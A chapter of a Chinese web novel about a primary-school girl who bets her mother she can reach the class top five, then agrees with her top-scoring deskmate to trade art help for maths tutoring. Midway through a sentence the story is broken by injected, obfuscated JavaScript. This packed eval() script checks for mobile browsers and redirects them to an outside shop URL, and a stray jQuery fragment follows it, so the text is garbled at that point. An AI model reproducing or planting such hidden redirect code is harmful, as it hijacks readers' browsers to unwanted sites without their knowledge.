朝槿垂着脑袋,一声不吭,甚至不敢抬头。
面前,霍兰坐在沙发上,手上拿着一张试卷,翻得哗哗响,越翻脸色越难看。
朝槿偷偷将视线投向坐在一旁的朝晖,老朝无奈地给了她一个自求多福的眼神,然后就抬头在那装模作样地欣赏起天花板了。
……说好的父亲是女儿最坚强的后盾呢。
终于,霍兰不再想继续研究这张试卷,重重拍在桌上,扶着额,深吸一口气,最后吐出一句话:“你这个暑假去报个补习班吧。”
“不要!”朝槿急得跳起来。
她才不要报补习班!
补习班一上就是整整半天,除了学校作业还要完成补习班作业。假期本来是拿来好好休息,怎么可以补习呢!
“什么不要,你说不要就不要了吗?你以为我想花这个钱啊!”霍兰深吸一口气,心里不断提醒自己要以爱育人以爱育人,只能用力地戳了戳桌子上的试卷来发泄火气,“你看看你数学差成什么样了,你才小学啊,你现在这些东西都搞不懂那以后怎么办啊!”
朝槿声音小下去,但依旧不死心地小声抗议:“可我语文成绩很好啊……”
“你语文赚的分全被你的数学败完了有什么用!”
朝槿被吼得缩了缩脖子,不说话了。
她太了解她妈妈了。霍兰是一个很精明且很有主见的人,管教并不严厉但却总是说一不二,一般不会被人改变想法。
所以跟她撒娇是没用的。
朝槿只能再次把希望寄存于老朝身上,扑过去抓住朝晖的胳膊:“老爸——”
“哎哎哎,别害你老爸。”朝晖无情地掰开她的手指,“你妈妈说的对,数学要从小抓起。”
……叛徒!
朝槿哭丧着脸松开手,又乖乖站好。
霍兰见她这幅模样就有些好笑,说道:“你撅着个嘴也没用,要怪就怪你没认真去学。你说你妈年轻的时候数学成绩可是顶好的,你这脑袋瓜随了谁啊!”
朝晖在一旁出声:“肯定也不是我哈,像我这么有智慧的人,肯定是她自己基因突变了。”
朝槿嘴角一抽,心里更加难受了。
挨骂就算了,咋还要遭受人身攻击呢!
霍兰已经下定决心,直接拍板:“就这么决定了,这个暑假有你忙的了……”
“不行不行!”朝槿急得跳脚,她决定为自己再争取一下美好假期,“我这次只是失误,到了大考我会好好发挥的……我一定会好好学的,我不要报补习班!”
“你要真会好好学这次周测就不会差成这样了,不用多说了,我才不信你的鬼话呢!”霍兰懒得继续和她掰扯,摆摆手就想结束这个话题。
朝槿心里急成一团,忽然,灵光一现,大声道:“等等!可以……可以给我定个目标,如果我期末没能达成目标我上补习班,但如果我达成了你们就不许逼我!”
霍兰原本想起身的动作忽然顿住,又坐回沙发上。
“好啊,那你说说看目标是多少。”她双手抱胸地问道。
“就……你们随便定吧!但我要是达到了我就不要上补习班!”朝槿一咬牙,心想只能豁出去了,但又不停祈祷不要定太高不要定太高。
霍兰并不反对这个提议,她摸着下巴思考了一下,最后说道:“这样吧,如果你这学期能评上优秀三好学生,我就不给你报补习班。”
朝槿的班级评定优秀三好学生的指标非常简洁明了,就是按成绩排名。
每个班只有五个名额,也就是说她要考到前五名。
朝槿的成绩一直在中上游徘徊,所以对于现在的她来说还是有些吃力的。
但是既然话都说出去了……那就只能咬咬牙应下了。
“好!一言为定!”朝槿用力点点头,虽然她自己心里也没多少底。
霍兰看着她,挑了挑眉,起身一边往厨房走去一边说:“好,那我就看看你所说的自己努力到底能努力到哪种地步。”
看着霍兰走进厨房朝槿才松了口气,然后立刻低头开始掰自己的手指,在心里默默算着。
班级前五啊,那得考到多少分啊……
-
因为这个赌约,朝槿难得很早到了学校。
季与时在看见朝槿走进教室的那一刻还以为是自己的手表坏了。
只见朝槿径直走到自己座位上,拿起书就开始早读,神情认真专注。
季与时只当她忽然发奋图强,并没有多管,也低头专注做自己的事情。
朝槿余光发现一向一心只读圣贤书的季与时居然在做别的事情,实在难耐不住蠢蠢欲动的好奇心,讲脑袋凑过去,下一秒就愣住了——
季与时居然在画画!
但让朝槿震惊的并不是季与时画画的这个行为,而是……
她盯着那幅画,忍不住问:“你画的这是什么?丁老头吗?”
季与时涂色的手猛地顿住,抬起头瞪着朝槿,眼里还有一丝不易察觉的受伤。
“这是我的自画像。”他说。
“……”
“噗。”
听到这声笑,季与时耳尖都红了,却只能瞪着朝槿,幽怨地吐出一句:“嘲笑同学……”说着还将画折好收起来。
“不好意思不好意思。”朝槿咬住腮帮子,努力收回嘴角,“你画自画像干什么。”
“美术期末作业。”
朝槿挑眉:“这么上心啊?”
对方低着头半天不说话,最后忽然问道:“……你画画很厉害吧?”
朝槿点点头:“怎么了?”
季与时有些不好意思,轻咳一声别过头:“那我帮你辅导正课成绩,你协助我……完成我的期末美术作业吧。”
朝槿有些惊讶:“你原来还会在意美术成绩啊?”她一直以为季与时眼里只有考试分数嘞。
季与时又挠了一下脑袋,似乎更不好意思了,声音都压低了:“因为我去年……美术才拿了c……”
美术作为副课,期末成绩其实并不影响评三好学生。但季与时就是希望能给自己的成绩单来个全a。他其他科目都很优秀,只有美术……
众a中有个c,实在太
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972908|214698||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
显眼……
朝槿并没有拒绝,区区一个美术期末作业在她眼里并不算难事。
但同意的话刚到嘴边,一个邪恶的小念头忽然冒出来。
平时看这家伙永远冷着张脸,对所有事情都淡淡的模样,她不得抓这个机会好好让他吃一下亏?
于是朝槿正了正色,得意洋洋地朝季与时挑了挑眉:“求我。”
两人都静了几秒。
然后朝槿就看见季与时一脸阴沉地,倔强地别过了头,一副誓死都不愿意求她的模样。
“哎哎哎,我开玩笑的。”朝槿连忙拦住。
余光中,她看见季与时桌面上的数学试卷,试卷顶端用红笔写着一个极其漂亮的100。
她眼睛一亮,心底冒出来一个主意:“要不这样吧,我帮你完成美术作业,你帮我辅导成绩!”
季与时扭头的动作顿住,又看向朝槿。
朝槿继续自言自语地把昨天和霍兰的赌约跟他说了一遍。
听完全部,季与时只淡淡吐出一个字:“难。”
“你什么意思?”朝槿皱起眉,有些不服气。
这是在嫌她傻吗!
“你上数学课是不是老喜欢走神?”季与时问。
朝槿噎住了,心虚地挠了挠脑袋:“嘿嘿,听太认真很容易犯困嘛……”
季与时叹了口气,跟她分析道:“你的英语和语文成绩都很不错,但是数学和科学拖了很大的后腿。我知道你上课的状态,很少认真专注地把一道解题思路听完是吧?”
朝槿:“这你都知道?你不是一直盯着黑板吗?”
“你要搞清楚每道题每个步骤的解题思路,有不会的问题必须彻底搞懂,不然问题会跟滚雪球一样越滚越大。基础现在不打好,以后会更吃力的。”季与时道,“而且你不笨,你的文科成绩都很好,我们现在学的只是也很简单,想提升很简单。不过……能不能在这个期末考到班级前五我也不确定。”
毕竟排名不是分数。更何况他们的班级成绩一直是年级拔尖,有不少努力学习的同学。朝槿能不能临时抱佛脚突出重围还真不好说。
朝槿原本还信心满满,听到最后一句又焉了:“不行吗?那怎么办,我的暑假真的要牺牲给补习班了吗?”
她转了转眼珠子,忽然灵机一动,开玩笑道:“哎,不如你期末给我放放水呗……”
“想得美。”季与时毫不犹豫拒绝,“而且就算让了你又能怎么样,你前面有十几二十名同学,少我一个你终究进不了前五。别想着钻空子,还不如踏踏实实来。”
最后,他还气定神闲地补了一句:“而且,故意考差对我来说也挺难的。”
朝槿沉默片刻,冷嗤:“臭屁。”
但是一想到自己整整两个月的暑假时光,她又立刻换上一副友善的微笑。
“说好了,你要帮我哦,我的暑假快乐与否可全看你了。”朝槿拍拍桌子,想了想,“我们互相帮助,这样总行了吧,同桌。”
季与时思索片刻,觉得这确实是一个很公平的买卖,点点头:“好。”